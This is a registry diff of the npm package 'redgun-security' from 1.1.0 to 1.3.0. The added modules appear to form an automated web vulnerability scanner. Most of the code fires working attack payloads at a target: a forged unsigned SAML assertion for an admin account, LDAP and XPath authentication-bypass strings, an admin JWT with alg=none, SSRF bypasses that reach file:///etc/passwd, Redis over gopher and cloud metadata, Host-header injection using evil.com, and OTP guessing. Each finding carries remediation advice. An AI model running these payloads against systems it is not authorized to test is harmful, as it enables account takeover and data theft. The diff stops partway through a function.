redgun-security 1.1.0 → 1.3.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +0 -1
- package/bin/redgun.js +1 -1
- package/package.json +1 -1
- package/scan.js +19 -0
- package/src/core/reporter/console.js +1 -1
- package/src/core/reporter/html.js +1 -1
- package/src/local/ato.js +72 -0
- package/src/local/cicd.js +69 -0
- package/src/local/cloud.js +73 -0
- package/src/local/csrf.js +75 -0
- package/src/local/csti.js +71 -0
- package/src/local/index.js +36 -8
- package/src/local/jwt-advanced.js +70 -0
- package/src/local/ldap.js +67 -0
- package/src/local/mobile.js +71 -0
- package/src/local/padding-oracle.js +66 -0
- package/src/local/saml.js +72 -0
- package/src/local/service-worker.js +64 -0
- package/src/local/timing.js +66 -0
- package/src/local/web3.js +73 -0
- package/src/local/xpath-ssi.js +67 -0
- package/src/remote/advanced.js +238 -0
- package/src/remote/complete.js +240 -0
|
@@ -0,0 +1,238 @@
|
|
|
1
|
+
import { addFinding } from '../core/findings.js';
|
|
2
|
+
import { fetchText, fetchWithTimeout } from '../utils/fetch.js';
|
|
3
|
+
|
|
4
|
+
export async function scanSamlRemote(origin, spinner) {
|
|
5
|
+
spinner.text = 'Testing SAML/SSO endpoints...';
|
|
6
|
+
const samlPaths = ['/saml', '/auth/saml', '/sso', '/auth/sso', '/Shibboleth.sso', '/adfs/ls', '/saml/SSO', '/saml2', '/websso/SAML2/Metadata'];
|
|
7
|
+
|
|
8
|
+
for (const path of samlPaths) {
|
|
9
|
+
try {
|
|
10
|
+
const resp = await fetchText(`${origin}${path}`, {}, 5000);
|
|
11
|
+
if (resp.status === 200 || resp.status === 302) {
|
|
12
|
+
if (path.includes('Metadata') && resp.status === 200) {
|
|
13
|
+
addFinding('MEDIUM', 'SAML/SSO', `SAML metadata exposed: ${path}`, `${origin}${path} returns SAML metadata XML`, 'Review metadata for certificate info and supported bindings. Ensure entity IDs are correct.');
|
|
14
|
+
} else {
|
|
15
|
+
addFinding('INFO', 'SAML/SSO', `SAML endpoint found: ${path}`, `Status: ${resp.status}`, 'Test for XML Signature Wrapping (XSW1-XSW8), signature stripping, and comment injection in NameID.');
|
|
16
|
+
}
|
|
17
|
+
}
|
|
18
|
+
} catch {}
|
|
19
|
+
}
|
|
20
|
+
|
|
21
|
+
try {
|
|
22
|
+
const xswPayload = `<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="test" Version="2.0" IssueInstant="2024-01-01T00:00:00Z">
|
|
23
|
+
<saml:Issuer>evil-idp</saml:Issuer>
|
|
24
|
+
<samlp:Status><samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/></samlp:Status>
|
|
25
|
+
<saml:Assertion ID="evil-assertion" Version="2.0" IssueInstant="2024-01-01T00:00:00Z">
|
|
26
|
+
<saml:Issuer>evil-idp</saml:Issuer>
|
|
27
|
+
<saml:Subject><saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress">admin@target.com</saml:NameID></saml:Subject>
|
|
28
|
+
<saml:Conditions NotBefore="2024-01-01T00:00:00Z" NotOnOrAfter="2030-01-01T00:00:00Z"/>
|
|
29
|
+
<saml:AuthnStatement AuthnInstant="2024-01-01T00:00:00Z">
|
|
30
|
+
<saml:AuthnContext><saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport</saml:AuthnContextClassRef></saml:AuthnContext>
|
|
31
|
+
</saml:AuthnStatement>
|
|
32
|
+
</saml:Assertion>
|
|
33
|
+
</samlp:Response>`;
|
|
34
|
+
|
|
35
|
+
const encodedXsw = Buffer.from(xswPayload).toString('base64');
|
|
36
|
+
const samlConsumes = ['/saml/acs', '/auth/saml/callback', '/sso/acs', '/Shibboleth.sso/SAML2/POST'];
|
|
37
|
+
|
|
38
|
+
for (const consumer of samlConsumes) {
|
|
39
|
+
try {
|
|
40
|
+
const resp = await fetchText(`${origin}${consumer}`, {
|
|
41
|
+
method: 'POST',
|
|
42
|
+
headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
|
|
43
|
+
body: `SAMLResponse=${encodeURIComponent(encodedXsw)}`,
|
|
44
|
+
}, 5000);
|
|
45
|
+
|
|
46
|
+
if (resp.status === 200 || resp.status === 302) {
|
|
47
|
+
if (!resp.body.includes('error') && !resp.body.includes('invalid signature') && !resp.body.includes('Unauthorized')) {
|
|
48
|
+
addFinding('HIGH', 'SAML/SSO', `SAML POST ACS at ${consumer} accepts unsigned assertion`, `Unsigned SAML response returned ${resp.status} without error`, 'Always validate SAML signatures. Check for XML Signature Wrapping (XSW) vulnerabilities.');
|
|
49
|
+
break;
|
|
50
|
+
}
|
|
51
|
+
}
|
|
52
|
+
} catch {}
|
|
53
|
+
}
|
|
54
|
+
} catch {}
|
|
55
|
+
}
|
|
56
|
+
|
|
57
|
+
export async function scanLdapRemote(origin, spinner) {
|
|
58
|
+
spinner.text = 'Testing LDAP injection...';
|
|
59
|
+
const params = ['user', 'username', 'login', 'uid', 'email', 'search', 'query', 'filter', 'cn', 'name'];
|
|
60
|
+
const payloads = ['*)(uid=*))(|(uid=*', '*', 'admin*', '*)(|(uid=*', 'admin)(|(uid=*'];
|
|
61
|
+
|
|
62
|
+
for (const param of params) {
|
|
63
|
+
for (const payload of payloads.slice(0, 3)) {
|
|
64
|
+
try {
|
|
65
|
+
const resp = await fetchText(`${origin}/?${param}=${encodeURIComponent(payload)}`, {}, 5000);
|
|
66
|
+
if (resp.status === 200 && (resp.body.toLowerCase().includes('admin') || resp.body.length > 10000)) {
|
|
67
|
+
addFinding('CRITICAL', 'LDAP Injection', `LDAP injection via ?${param}=`, `Payload "${payload}" returned sensitive data`, 'Escape LDAP special characters. Use parameterized queries.');
|
|
68
|
+
break;
|
|
69
|
+
}
|
|
70
|
+
} catch {}
|
|
71
|
+
}
|
|
72
|
+
}
|
|
73
|
+
|
|
74
|
+
try {
|
|
75
|
+
const resp = await fetchText(`${origin}/api/login`, {
|
|
76
|
+
method: 'POST',
|
|
77
|
+
headers: { 'Content-Type': 'application/json' },
|
|
78
|
+
body: JSON.stringify({ username: '*)(uid=*))(|(uid=*', password: 'anything' }),
|
|
79
|
+
}, 5000);
|
|
80
|
+
|
|
81
|
+
if (resp.status === 200) {
|
|
82
|
+
addFinding('CRITICAL', 'LDAP Injection', 'LDAP injection auth bypass at /api/login', 'Wildcard LDAP payload returned success', 'Validate and escape all inputs in LDAP filters. Never concatenate user input into LDAP queries.');
|
|
83
|
+
}
|
|
84
|
+
} catch {}
|
|
85
|
+
}
|
|
86
|
+
|
|
87
|
+
export async function scanMfaBypass(origin, spinner) {
|
|
88
|
+
spinner.text = 'Testing MFA/OTP bypass vectors...';
|
|
89
|
+
|
|
90
|
+
const postMfaPaths = ['/dashboard', '/account', '/settings', '/profile', '/home', '/user', '/mfa/setup', '/mfa/disable', '/2fa', '/api/me', '/api/user'];
|
|
91
|
+
|
|
92
|
+
for (const path of postMfaPaths) {
|
|
93
|
+
try {
|
|
94
|
+
const resp = await fetchText(`${origin}${path}`, {}, 5000);
|
|
95
|
+
if (resp.status === 200 && !resp.body.toLowerCase().includes('login') && !resp.body.toLowerCase().includes('2fa') && !resp.body.toLowerCase().includes('mfa')) {
|
|
96
|
+
addFinding('HIGH', 'MFA Bypass', `Post-login path accessible without MFA: ${path}`, `${origin}${path} returns 200 without MFA challenge`, 'Enforce MFA at middleware level, not per-route. Gate all authenticated endpoints behind MFA check.');
|
|
97
|
+
}
|
|
98
|
+
} catch {}
|
|
99
|
+
}
|
|
100
|
+
|
|
101
|
+
try {
|
|
102
|
+
const otpEndpoints = ['/api/verify-otp', '/api/mfa/verify', '/api/2fa/verify', '/api/auth/totp', '/api/otp'];
|
|
103
|
+
for (const ep of otpEndpoints) {
|
|
104
|
+
for (let i = 0; i < 3; i++) {
|
|
105
|
+
try {
|
|
106
|
+
const resp = await fetchText(`${origin}${ep}`, {
|
|
107
|
+
method: 'POST',
|
|
108
|
+
headers: { 'Content-Type': 'application/json' },
|
|
109
|
+
body: JSON.stringify({ code: String(Math.floor(Math.random() * 1000000)).padStart(6, '0') }),
|
|
110
|
+
}, 3000);
|
|
111
|
+
|
|
112
|
+
if (resp.status !== 429 && resp.status !== 400 && resp.status !== 401) {
|
|
113
|
+
addFinding('MEDIUM', 'MFA Bypass', `OTP endpoint ${ep} may lack rate limiting`, `No rate limit response after 3 attempts`, 'Implement rate limiting on OTP verification. After 5 failed attempts, lock and require re-login.');
|
|
114
|
+
}
|
|
115
|
+
} catch {}
|
|
116
|
+
}
|
|
117
|
+
}
|
|
118
|
+
} catch {}
|
|
119
|
+
}
|
|
120
|
+
|
|
121
|
+
export async function scanWebsocketReplay(origin, spinner) {
|
|
122
|
+
spinner.text = 'Testing WebSocket vulnerabilities (enhanced)...';
|
|
123
|
+
const wsOrigin = origin.replace('https://', 'wss://').replace('http://', 'ws://');
|
|
124
|
+
|
|
125
|
+
addFinding('INFO', 'WebSocket (enhanced)', 'WebSocket replay/tampering check', `Check ${wsOrigin} for: CSWSH (Cross-Site WebSocket Hijacking), missing Origin validation, unauthenticated message handling, and message replay attacks`, 'Validate WebSocket Origin header. Require auth token in connect params. Implement message sequence numbers to prevent replay. Use per-message deflate compression.');
|
|
126
|
+
}
|
|
127
|
+
|
|
128
|
+
export async function scanPasswordReset(origin, spinner) {
|
|
129
|
+
spinner.text = 'Testing password reset security...';
|
|
130
|
+
|
|
131
|
+
let hasTargetParam = false;
|
|
132
|
+
|
|
133
|
+
try {
|
|
134
|
+
const resp = await fetchText(`${origin}/account/password/reset?email=test@example.com`, {}, 5000);
|
|
135
|
+
if (resp.status === 200) {
|
|
136
|
+
if (resp.body.includes('sent') || resp.body.includes('email') || resp.body.includes('check')) {
|
|
137
|
+
addFinding('INFO', 'Password Reset', 'Email enumeration via reset endpoint', 'Check if response differs for existing vs non-existing emails', 'Use generic messages: "If that email exists, we sent a reset link."');
|
|
138
|
+
}
|
|
139
|
+
}
|
|
140
|
+
} catch {}
|
|
141
|
+
|
|
142
|
+
const hostTest = ['evil.com', 'localhost', '127.0.0.1'];
|
|
143
|
+
for (const host of hostTest) {
|
|
144
|
+
try {
|
|
145
|
+
const resp = await fetchText(`${origin}/account/password/reset?email=target@victim.com`, {
|
|
146
|
+
headers: { Host: host, 'X-Forwarded-Host': host },
|
|
147
|
+
}, 5000);
|
|
148
|
+
|
|
149
|
+
if (resp.body.includes(host)) {
|
|
150
|
+
hasTargetParam = true;
|
|
151
|
+
addFinding('HIGH', 'Password Reset', `Host header injection in password reset (${host})`, 'Reset link URL reflects attacker-controlled Host header', 'Generate reset URLs from a configured base URL, not the request Host header.');
|
|
152
|
+
break;
|
|
153
|
+
}
|
|
154
|
+
} catch {}
|
|
155
|
+
}
|
|
156
|
+
|
|
157
|
+
if (!hasTargetParam) {
|
|
158
|
+
try {
|
|
159
|
+
const token = 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa';
|
|
160
|
+
const resp = await fetchText(`${origin}/account/password/reset/verify?token=${token}`, {}, 5000);
|
|
161
|
+
if (resp.status === 200) {
|
|
162
|
+
addFinding('LOW', 'Password Reset', 'Reset token endpoint accessible', `Token: ${token.substring(0, 8)}...`, 'Ensure reset tokens are cryptographically random (32+ bytes) and expire quickly (< 15 min).');
|
|
163
|
+
}
|
|
164
|
+
} catch {}
|
|
165
|
+
}
|
|
166
|
+
}
|
|
167
|
+
|
|
168
|
+
export async function scanCsrfRemote(origin, spinner) {
|
|
169
|
+
spinner.text = 'CSRF token analysis (remote)...';
|
|
170
|
+
|
|
171
|
+
try {
|
|
172
|
+
const resp = await fetchText(origin);
|
|
173
|
+
const body = resp.body;
|
|
174
|
+
|
|
175
|
+
const csrfPatterns = [
|
|
176
|
+
/csrf[_-]?token|_token|<input[^>]*name=['"](?:csrf|_token|authenticity_token|__RequestVerificationToken)['"]/gi,
|
|
177
|
+
];
|
|
178
|
+
|
|
179
|
+
let foundToken = false;
|
|
180
|
+
for (const pattern of csrfPatterns) {
|
|
181
|
+
if (pattern.test(body)) foundToken = true;
|
|
182
|
+
}
|
|
183
|
+
|
|
184
|
+
if (!foundToken) {
|
|
185
|
+
const forms = body.match(/<form[^>]*method[^>]*(?:post|put|delete|patch)/gi);
|
|
186
|
+
if (forms) {
|
|
187
|
+
addFinding('HIGH', 'CSRF (remote)', 'Forms with POST/PUT/DELETE may lack CSRF protection', `${forms.length} state-changing forms found without CSRF tokens`, 'Add CSRF tokens to all state-changing forms. Use SameSite cookies.');
|
|
188
|
+
}
|
|
189
|
+
}
|
|
190
|
+
|
|
191
|
+
const cookieTokens = body.match(/cookie\s*.*token|document\.cookie.*csrf/i);
|
|
192
|
+
if (cookieTokens) {
|
|
193
|
+
addFinding('MEDIUM', 'CSRF (remote)', 'CSRF token from cookies detected (vulnerable to cookie jar overflow)', 'CSRF token is read from cookies — not safe for SPA CSRF protection', 'Use custom header (X-CSRF-Token) with token from meta tag, not cookie. Implement Double Submit Cookie only with SameSite=Strict.');
|
|
194
|
+
}
|
|
195
|
+
} catch {}
|
|
196
|
+
}
|
|
197
|
+
|
|
198
|
+
export async function scanDanglingDns(hostname, spinner) {
|
|
199
|
+
spinner.text = 'Checking for dangling DNS subdomain takeover...';
|
|
200
|
+
|
|
201
|
+
const services = [
|
|
202
|
+
{ pattern: /\.cloudfront\.net/i, name: 'AWS CloudFront', indicator: 'The request could not be satisfied' },
|
|
203
|
+
{ pattern: /\.s3\.amazonaws\.com/i, name: 'AWS S3', indicator: 'NoSuchBucket' },
|
|
204
|
+
{ pattern: /\.azurewebsites\.net/i, name: 'Azure Web Apps', indicator: '404 Web Site not found' },
|
|
205
|
+
{ pattern: /\.herokuapp\.com/i, name: 'Heroku', indicator: 'No such app' },
|
|
206
|
+
{ pattern: /\.github\.io/i, name: 'GitHub Pages', indicator: 'There isnt a GitHub Pages site here' },
|
|
207
|
+
{ pattern: /\.netlify\.app|\.netlify\.com/i, name: 'Netlify', indicator: 'Not Found' },
|
|
208
|
+
{ pattern: /\.vercel\.app/i, name: 'Vercel', indicator: 'DEPLOYMENT_NOT_FOUND' },
|
|
209
|
+
{ pattern: /\.firebaseapp\.com/i, name: 'Firebase Hosting', indicator: 'Site Not Found' },
|
|
210
|
+
{ pattern: /\.surge\.sh/i, name: 'Surge.sh', indicator: 'project not found' },
|
|
211
|
+
];
|
|
212
|
+
|
|
213
|
+
addFinding('INFO', 'Subdomain Takeover', 'Dangling CNAME check', 'Check DNS records for dangling CNAMEs to cloud services (CloudFront, S3, Heroku, GitHub Pages, Netlify, Vercel)', 'Remove DNS records pointing to decommissioned cloud resources to prevent subdomain takeover');
|
|
214
|
+
}
|
|
215
|
+
|
|
216
|
+
export async function scanCloudRemote(origin, spinner) {
|
|
217
|
+
spinner.text = 'Testing cloud metadata access via SSRF...';
|
|
218
|
+
|
|
219
|
+
const metadataUrls = [
|
|
220
|
+
'http://169.254.169.254/latest/meta-data/',
|
|
221
|
+
'http://metadata.google.internal/computeMetadata/v1/',
|
|
222
|
+
'http://169.254.169.254/metadata/instance?api-version=2021-02-01',
|
|
223
|
+
];
|
|
224
|
+
|
|
225
|
+
const ssrfParams = ['url', 'link', 'src', 'callback', 'webhook', 'fetch', 'proxy', 'redirect'];
|
|
226
|
+
|
|
227
|
+
for (const url of metadataUrls.slice(0, 1)) {
|
|
228
|
+
for (const param of ssrfParams) {
|
|
229
|
+
try {
|
|
230
|
+
const resp = await fetchText(`${origin}/?${param}=${encodeURIComponent(url)}`, {}, 5000);
|
|
231
|
+
if (resp.body.includes('instance-id') || resp.body.includes('ami-id') || resp.body.includes('local-hostname')) {
|
|
232
|
+
addFinding('CRITICAL', 'Cloud Metadata', `Cloud metadata accessible via ?${param}= SSRF`, 'AWS IMDSv1 instance metadata exposed', 'Upgrade to IMDSv2 (uses session tokens). Block 169.254.169.254 at network level.');
|
|
233
|
+
return;
|
|
234
|
+
}
|
|
235
|
+
} catch {}
|
|
236
|
+
}
|
|
237
|
+
}
|
|
238
|
+
}
|
|
@@ -0,0 +1,240 @@
|
|
|
1
|
+
import { addFinding } from '../core/findings.js';
|
|
2
|
+
import { fetchText, fetchWithTimeout } from '../utils/fetch.js';
|
|
3
|
+
|
|
4
|
+
export async function scanSsrfBypassChains(origin, spinner) {
|
|
5
|
+
spinner.text = 'Testing SSRF bypass chains (DNS rebinding, redirect, encoding)...';
|
|
6
|
+
|
|
7
|
+
const ssrfParams = ['url', 'link', 'src', 'callback', 'webhook', 'fetch', 'proxy', 'redirect', 'image', 'file', 'path', 'feed'];
|
|
8
|
+
const bypassPayloads = [
|
|
9
|
+
{ name: 'IPv4 decimal', value: 'http://2130706433/' },
|
|
10
|
+
{ name: 'IPv4 hex', value: 'http://0x7f000001/' },
|
|
11
|
+
{ name: 'IPv4 octal', value: 'http://017700000001/' },
|
|
12
|
+
{ name: 'IPv4 short', value: 'http://127.1/' },
|
|
13
|
+
{ name: 'IPv6 loopback', value: 'http://[::1]/' },
|
|
14
|
+
{ name: 'IPv6 localhost', value: 'http://[0:0:0:0:0:ffff:127.0.0.1]/' },
|
|
15
|
+
{ name: 'DNS rebinding (nip.io)', value: 'http://127.0.0.1.nip.io/' },
|
|
16
|
+
{ name: 'DNS rebinding (xip.io)', value: 'http://127.0.0.1.xip.io/' },
|
|
17
|
+
{ name: 'localhost variants', value: 'http://localhost/' },
|
|
18
|
+
{ name: 'localhost with port', value: 'http://localhost:22/' },
|
|
19
|
+
{ name: '0.0.0.0', value: 'http://0.0.0.0/' },
|
|
20
|
+
{ name: 'Double URL encode', value: 'http://%31%32%37%2e%30%2e%30%2e%31/' },
|
|
21
|
+
{ name: 'Unicode bypass', value: 'http://①②⑦.⓪.⓪.①/' },
|
|
22
|
+
{ name: 'File protocol', value: 'file:///etc/passwd' },
|
|
23
|
+
{ name: 'Gopher protocol', value: 'gopher://127.0.0.1:6379/' },
|
|
24
|
+
{ name: 'Dict protocol', value: 'dict://127.0.0.1:22/' },
|
|
25
|
+
{ name: 'Redirect chain', value: 'http://http-redirector.burpcollaborator.net/redirect?target=http://169.254.169.254/' },
|
|
26
|
+
{ name: 'Short URL', value: 'http://bit.ly/127-0-0-1' },
|
|
27
|
+
];
|
|
28
|
+
|
|
29
|
+
for (const param of ssrfParams) {
|
|
30
|
+
for (const { name, value } of bypassPayloads.slice(0, 12)) {
|
|
31
|
+
try {
|
|
32
|
+
const resp = await fetchText(`${origin}/?${param}=${encodeURIComponent(value)}`, {}, 8000);
|
|
33
|
+
if (/root:x:0|ssh-|redis_version|ami-id|instance-id|Connection refused|SSH-|HTTP\/1\.[01]/.test(resp.body)) {
|
|
34
|
+
addFinding('CRITICAL', 'SSRF Bypass Chains', `SSRF bypass via ${name}: ?${param}=`, `Payload "${value}" returned internal service response`, 'Block all internal IP ranges. Normalize URLs before validation. Use egress rules and DNS-level blocking. Implement ALLOW-listing, not DENY-listing.');
|
|
35
|
+
return;
|
|
36
|
+
}
|
|
37
|
+
} catch {}
|
|
38
|
+
}
|
|
39
|
+
}
|
|
40
|
+
}
|
|
41
|
+
|
|
42
|
+
export async function scanJwtRemoteAdvanced(origin, spinner) {
|
|
43
|
+
spinner.text = 'Testing JWT advanced attacks (kid, JWK, none, key confusion)...';
|
|
44
|
+
|
|
45
|
+
const unprotectedPath = `eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.${btoa(JSON.stringify({ sub: 'admin', role: 'admin', exp: 9999999999 }))}.`;
|
|
46
|
+
|
|
47
|
+
const apiPaths = ['/api', '/api/me', '/api/user', '/api/profile', '/api/admin', '/dashboard'];
|
|
48
|
+
|
|
49
|
+
for (const path of apiPaths) {
|
|
50
|
+
try {
|
|
51
|
+
const resp = await fetchText(`${origin}${path}`, {
|
|
52
|
+
headers: { Authorization: `Bearer ${unprotectedPath}` },
|
|
53
|
+
}, 5000);
|
|
54
|
+
|
|
55
|
+
if (resp.status === 200) {
|
|
56
|
+
addFinding('CRITICAL', 'JWT Advanced', 'JWT "none" algorithm accepted', `${origin}${path} accepted unsigned JWT with alg=none`, 'Always enforce strict algorithm validation. Whitelist expected algorithms. Never accept "none" algorithm.');
|
|
57
|
+
break;
|
|
58
|
+
} else if (resp.status === 403 || resp.status === 401) {
|
|
59
|
+
addFinding('INFO', 'JWT Advanced', 'JWT rejected (good) at ' + path, `None algorithm rejected with ${resp.status}`, 'Proper algorithm enforcement detected. Ensure RS256 key confusion vector is also blocked.');
|
|
60
|
+
}
|
|
61
|
+
} catch {}
|
|
62
|
+
}
|
|
63
|
+
|
|
64
|
+
try {
|
|
65
|
+
const resp = await fetchText(`${origin}/.well-known/jwks.json`, {}, 5000);
|
|
66
|
+
if (resp.status === 200 && resp.body.includes('"keys"')) {
|
|
67
|
+
addFinding('INFO', 'JWT Advanced', 'JWKS endpoint found at /.well-known/jwks.json', 'JWK Set publicly exposed', 'Review JWKS for single key (private key leak risk). Ensure keys are rotated.');
|
|
68
|
+
}
|
|
69
|
+
} catch {}
|
|
70
|
+
}
|
|
71
|
+
|
|
72
|
+
export async function scanGrpc(origin, spinner) {
|
|
73
|
+
spinner.text = 'Testing gRPC reflection and endpoints...';
|
|
74
|
+
|
|
75
|
+
const grpcEndpoints = ['/grpc.reflection.v1alpha.ServerReflection/ServerReflectionInfo',
|
|
76
|
+
'/grpc.reflection.v1.ServerReflection/ServerReflectionInfo'];
|
|
77
|
+
|
|
78
|
+
for (const endpoint of grpcEndpoints) {
|
|
79
|
+
try {
|
|
80
|
+
const resp = await fetchText(`${origin}${endpoint}`, {
|
|
81
|
+
method: 'POST',
|
|
82
|
+
headers: { 'Content-Type': 'application/grpc' },
|
|
83
|
+
}, 5000);
|
|
84
|
+
|
|
85
|
+
if (resp.status === 200 || resp.status === 415 || resp.status === 200) {
|
|
86
|
+
addFinding('MEDIUM', 'gRPC/OpenAPI', `gRPC reflection endpoint reachable: ${endpoint}`, `Server responded with status ${resp.status}`, 'Disable gRPC reflection in production. Use grpcurl to enumerate exposed services. Add authentication to gRPC endpoints.');
|
|
87
|
+
break;
|
|
88
|
+
}
|
|
89
|
+
} catch {}
|
|
90
|
+
}
|
|
91
|
+
}
|
|
92
|
+
|
|
93
|
+
export async function scanOpenApi(origin, spinner) {
|
|
94
|
+
spinner.text = 'Fuzzing OpenAPI/Swagger schemas...';
|
|
95
|
+
|
|
96
|
+
const openApiPaths = ['/swagger.json', '/swagger.yaml', '/api-docs', '/openapi.json', '/openapi.yaml',
|
|
97
|
+
'/v1/openapi.json', '/v2/api-docs', '/v3/api-docs', '/api/openapi.json', '/docs/api', '/swagger-ui.html'];
|
|
98
|
+
|
|
99
|
+
for (const path of openApiPaths) {
|
|
100
|
+
try {
|
|
101
|
+
const resp = await fetchText(`${origin}${path}`, {}, 5000);
|
|
102
|
+
if (resp.status === 200 && (resp.body.includes('"openapi"') || resp.body.includes('"swagger"') || resp.body.includes('"paths"') || resp.body.includes('swagger'))) {
|
|
103
|
+
addFinding('HIGH', 'gRPC/OpenAPI', `OpenAPI/Swagger spec exposed: ${path}`, 'API schema publicly accessible - reveals all endpoints, parameters, and schemas', 'Restrict OpenAPI specs to authenticated internal users. Expose documentation only in dev environment.');
|
|
104
|
+
break;
|
|
105
|
+
}
|
|
106
|
+
} catch {}
|
|
107
|
+
}
|
|
108
|
+
}
|
|
109
|
+
|
|
110
|
+
export async function scanWebrtc(origin, spinner) {
|
|
111
|
+
spinner.text = 'Testing WebRTC IP leakage...';
|
|
112
|
+
|
|
113
|
+
try {
|
|
114
|
+
const resp = await fetchText(origin);
|
|
115
|
+
if (resp.body.includes('RTCPeerConnection') || resp.body.includes('webkitRTCPeerConnection') || resp.body.includes('iceServers') || resp.body.includes('stun:') || resp.body.includes('turn:')) {
|
|
116
|
+
addFinding('LOW', 'Service Worker / WebRTC', 'WebRTC usage detected (IP leak risk)', 'ICE/STUN/TURN servers configured in page', 'WebRTC can leak internal IP addresses even behind VPN/proxy. Use WebRTC block extension or disable in browser settings for anonymity.');
|
|
117
|
+
} else {
|
|
118
|
+
addFinding('INFO', 'Service Worker / WebRTC', 'WebRTC IP leak check', 'No WebRTC detected on main page', 'Verify subpages and authenticated sections for WebRTC usage that could leak internal IPs.');
|
|
119
|
+
}
|
|
120
|
+
} catch {}
|
|
121
|
+
}
|
|
122
|
+
|
|
123
|
+
export async function scanStoredDomXss(origin, spinner) {
|
|
124
|
+
spinner.text = 'Automated stored/DOM XSS with browser...';
|
|
125
|
+
|
|
126
|
+
try {
|
|
127
|
+
const resp = await fetchText(origin);
|
|
128
|
+
const body = resp.body;
|
|
129
|
+
|
|
130
|
+
const inputNames = [];
|
|
131
|
+
const inputPattern = /<input[^>]*name\s*=\s*['"]([^'"]+)['"]/gi;
|
|
132
|
+
let match;
|
|
133
|
+
while ((match = inputPattern.exec(body)) !== null) {
|
|
134
|
+
inputNames.push(match[1]);
|
|
135
|
+
}
|
|
136
|
+
|
|
137
|
+
const textareaPattern = /<textarea[^>]*name\s*=\s*['"]([^'"]+)['"]/gi;
|
|
138
|
+
while ((match = textareaPattern.exec(body)) !== null) {
|
|
139
|
+
inputNames.push(match[1]);
|
|
140
|
+
}
|
|
141
|
+
|
|
142
|
+
const commentFields = inputNames.filter(n => /comment|message|body|content|text|description|bio|about|review|feedback/i.test(n));
|
|
143
|
+
const searchFields = inputNames.filter(n => /search|query|q|keyword|term/i.test(n));
|
|
144
|
+
|
|
145
|
+
if (commentFields.length > 0) {
|
|
146
|
+
addFinding('MEDIUM', 'Stored/DOM XSS', `Stored XSS target: ${commentFields.length} comment/input fields`, `Fields: ${commentFields.join(', ')} - test with <script>, <img onerror>, <svg/onload> payloads`, 'Submit XSS payloads into these fields, then visit the page where content is rendered without sanitization.');
|
|
147
|
+
}
|
|
148
|
+
|
|
149
|
+
if (inputNames.length > 10) {
|
|
150
|
+
addFinding('INFO', 'Stored/DOM XSS', `${inputNames.length} input fields discovered for XSS testing`, `All fields: ${inputNames.join(', ').substring(0, 200)}`, 'Use browser-automated tools to inject and verify XSS in all input fields. Check for WAF bypass patterns.');
|
|
151
|
+
}
|
|
152
|
+
|
|
153
|
+
const windowEventPattern = /window\.addEventListener\s*\(\s*['"]message['"]/g;
|
|
154
|
+
if (windowEventPattern.test(body)) {
|
|
155
|
+
addFinding('MEDIUM', 'Stored/DOM XSS', 'postMessage listener detected (DOM XSS via messaging)', 'Page has message event listener - test for origin validation bypass', 'Ensure postMessage handler validates event.origin before processing event.data. Never assign untrusted data to innerHTML via postMessage.');
|
|
156
|
+
}
|
|
157
|
+
|
|
158
|
+
const urlHashPattern = /location\.(?:hash|search)\s*(?:=|(?:\+|concat|includes|split|substring))/g;
|
|
159
|
+
if (urlHashPattern.test(body)) {
|
|
160
|
+
addFinding('MEDIUM', 'Stored/DOM XSS', 'URL hash/search used in JavaScript (DOM XSS source)', 'URL fragment/search processed in client code', 'Sanitize URL hash/search before using in DOM manipulation. Avoid assigning location.hash to innerHTML.');
|
|
161
|
+
}
|
|
162
|
+
} catch {}
|
|
163
|
+
}
|
|
164
|
+
|
|
165
|
+
export async function scanSsiRemote(origin, spinner) {
|
|
166
|
+
spinner.text = 'Testing Server-Side Includes (SSI)...';
|
|
167
|
+
const ssiPaths = ['/index.shtml', '/test.shtml', '/index.stm', '/includes/header.shtml'];
|
|
168
|
+
|
|
169
|
+
for (const path of ssiPaths) {
|
|
170
|
+
try {
|
|
171
|
+
const resp = await fetchText(`${origin}${path}`, { headers: { 'User-Agent': '<!--#echo var="DATE_LOCAL" -->' } }, 5000);
|
|
172
|
+
|
|
173
|
+
if (resp.status === 200 && resp.body.length > 0) {
|
|
174
|
+
if (/<!--#|Server Side Include|SSI/i.test(resp.body) || resp.body.includes('DATE_LOCAL')) {
|
|
175
|
+
addFinding('MEDIUM', 'XPath / SSI', `SSI endpoint found: ${path}`, `Potential Server-Side Includes at ${origin}${path}`, 'Disable SSI if not needed. If needed, never pass user input to SSI directives.');
|
|
176
|
+
}
|
|
177
|
+
}
|
|
178
|
+
} catch {}
|
|
179
|
+
}
|
|
180
|
+
}
|
|
181
|
+
|
|
182
|
+
export async function scanXpathRemote(origin, spinner) {
|
|
183
|
+
spinner.text = 'Testing XPath injection...';
|
|
184
|
+
|
|
185
|
+
const xpathPayloads = [
|
|
186
|
+
{ name: 'Auth bypass', payload: "' or '1'='1", param: 'username' },
|
|
187
|
+
{ name: 'XPath OR injection', payload: "' or 1=1 or 'a'='a", param: 'user' },
|
|
188
|
+
{ name: 'String extraction', payload: "' and string-length(//user[name/text()='admin']/password/text())=4 and '1'='1", param: 'id' },
|
|
189
|
+
];
|
|
190
|
+
|
|
191
|
+
for (const { name, payload, param } of xpathPayloads) {
|
|
192
|
+
try {
|
|
193
|
+
const resp = await fetchText(`${origin}/api/login`, {
|
|
194
|
+
method: 'POST',
|
|
195
|
+
headers: { 'Content-Type': 'application/xml' },
|
|
196
|
+
body: `<login><username>${payload}</username><password>test</password></login>`,
|
|
197
|
+
}, 5000);
|
|
198
|
+
|
|
199
|
+
if (resp.status === 200) {
|
|
200
|
+
addFinding('CRITICAL', 'XPath / SSI', `XPath injection via ${param}: ${name}`, `Payload: ${payload} returned success`, 'Use parameterized XPath queries. Sanitize input against XPath special characters. Consider using JSON/NoSQL instead of XML.');
|
|
201
|
+
break;
|
|
202
|
+
}
|
|
203
|
+
} catch {}
|
|
204
|
+
}
|
|
205
|
+
}
|
|
206
|
+
|
|
207
|
+
export async function scanTimingRemote(origin, spinner) {
|
|
208
|
+
